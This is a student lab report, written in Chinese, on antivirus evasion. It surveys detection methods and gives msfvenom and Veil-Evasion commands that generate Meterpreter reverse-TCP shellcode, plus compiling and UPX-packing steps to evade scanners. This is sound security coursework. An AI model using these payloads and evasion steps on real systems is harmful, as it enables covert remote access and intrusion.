20155236范晨歌_EXP3免杀原理与实践

20155236范晨歌_免杀原理与实践

免杀

概述

  • 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
  • 被谁杀?当然是被杀毒软件(引擎)杀。所以,要做好免杀技术(防御),就要弄清杀毒方式(攻击),也就是这些杀毒软件是如何工作的。

恶意代码检测方式

  • 基于特征码的检测
    • 特征库,也就是我们平时说的病毒库,它记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据自己检测出或网络上已发现报告的病毒,对其多段提取特征码,构成了对恶意软件查杀的重要因素;
    • 杀毒软件都有着自己的庞大病毒库(实际上就是由特征码构成的一个数据库),杀毒时只需与特征码进行比对就可判断出软件是否有毒;
    • 根据以上介绍,我总结了这种方式的查杀特点:
      • 病毒库越大,杀毒有效率越高;
      • 因为收集的是已发现病毒的特征码,所以误报率低;
      • 对部分新型病毒没有抵抗性,无法抵御零日攻击,需要定期更新病毒库。
  • 启发式恶意软件检测
    • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧!

    • 用较为专业的角度来解释就是,分析对象文件与病毒特征库中的病毒原码进行比较,当二者匹配率大于某一值时(通常这一值较小,所以容易误报),杀毒软件就会将其列为可疑文件以进行下一步的除理。
    • 总结出以下特点:
      • 查杀效率极高,不需要依赖庞大的病毒库;
      • 对新型病毒有较好的预防性,可以抵御零日攻击;
      • 因为分析是“启发式”的、不精确的、概率性的,所以其误报率也不可忽略;
    • F-Prot是一款杀毒软件,有三个启发引擎,可见其是比较强大的,但其误报我也深感无能为力啊(后文会介绍)……
  • 基于行为的恶意软件检测
    • 是在一种程序运行的状态下对其行为进行监控,如果有敏感行为会报毒,是一种动态的监测与捕捉;
    • 总结出以下特点:
      • 不过分依赖病毒库,效率高;
      • 可以检测出获取权限等敏感行为,从这种意义上说,在一定程度上是可以抵御新型病毒的;
      • 因为是对系统的一个动态监测,会占用部分系统资源。

免杀方式

  • 只有弄懂了查杀原理,对免杀的方式才有更清晰的理解
  • 改变特征码
    • 加壳,通过加壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
    • 对shellcode进行编码、重组
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
  • 其它方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
    • 纯手工打造一个恶意软件

实践内容

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
2.通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)。
3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

首先要在kali上安装veil
20155236范晨歌_EXP3免杀原理与实践_第1张图片

由于有很多同学的前车之鉴,我先尝试了如下命令

发现有丶难受,然后换成了c语言use c/meterpreter/rev_tcp.py ,生成可执行文件
20155236范晨歌_EXP3免杀原理与实践_第2张图片
想都不用想,这个肯定是没有说法的。我就接着做了:使用msf生成一个C语言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT=5236 -f
20155236范晨歌_EXP3免杀原理与实践_第3张图片

在拿去测试一下,
20155236范晨歌_EXP3免杀原理与实践_第4张图片

20155236范晨歌_EXP3免杀原理与实践_第5张图片


详细过程

Veil-Evasion免杀平台

  • Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion
  • 在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:
use python/meterpreter/rev_tcp  //设置payload
set LHOST XXX.XXX.XXX.XXX   //设置反弹连接IP
set port    //设置反弹端口 ,默认为4444
generate    //生成
5236    //程序名
1
  • C语言调用Shellcode

  • 在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XXX.XXX LPORT= -f c
    • LHOST:攻击机IP
    • LPORT:反弹连接端口
    • c:生成一个c语言格式的Shellcode数
  • 将上述代码从虚拟机里copy出来,用Microsoft Visual Studio 2013进行编译运行生成可执行文件

  • 在kali下进入MSF打开监听进程,方式参考了学长的博文
  • 在靶机上运行该可执行文件,kali成功获取权限

  • 可以看出,生成shellcode半手工打造,而不是通过msfvenom指令生成一个可执行文件,风险已经降低了不少,但是仍被定性为病毒文件,所以需要进一步考虑修改代码


压缩壳UPX压缩VS生成exe文件

20155236范晨歌_EXP3免杀原理与实践_第6张图片

但是这种壳是被针对的。。。

一些小问题:

  • 是不是F-Prot的杀毒引擎为启发式,太敏感了?
  • 是不是call指令的调用或者VirtualProtect()操作这类行为敏感,导致报毒?

实验思考

  • 免杀最好的效果就是纯手工,纯人为构造,杀软可以分析免杀软件生成的模式进而发现其隐藏的规律,而人为构造的恶意代码往往因为不具有普遍性而难以捉摸;但免杀的尝试不是一蹴而就的,就像这次的实践,是在不断的修改代码过程中,从开始21家报毒,到后来1家报毒,逐渐达到了免杀的级别,这个过程需要不断的尝试;
  • 杀毒与免杀就是矛与盾,是一种博弈关系,是一种此消彼长的竞争关系,只要互联网还存在,杀毒与免杀就是互联网安全永恒的主题;杀毒软件的薄弱在本次实践中可见一斑,所以以后在网络中要“洁身自好”,不该点击的链接别点,来历不明的第三方软件别下,定时更新病毒库、查毒、杀毒;
  • 这一种博弈关系非常微妙,就像本文提到的,本来VirSCAN.org的目的可能是帮助检查是否为病毒文件,但可能被“我们”这样的人恶意利用,用来检测自己的病毒是否免杀;又比如,加壳软件的初衷可能是版权问题,防止他人恶意反汇编、逆向,但这又能被“我们”利用,让“壳”变成病毒的保护壳,正所谓,工具本无好坏,人心才有善恶!

参考资料

  • VirSCAN.org
  • MAL_免杀原理与实践
  • 20145221高其_后门原理与实践

转载于:https://www.cnblogs.com/fcgfcgfcg/p/8794602.html

你可能感兴趣的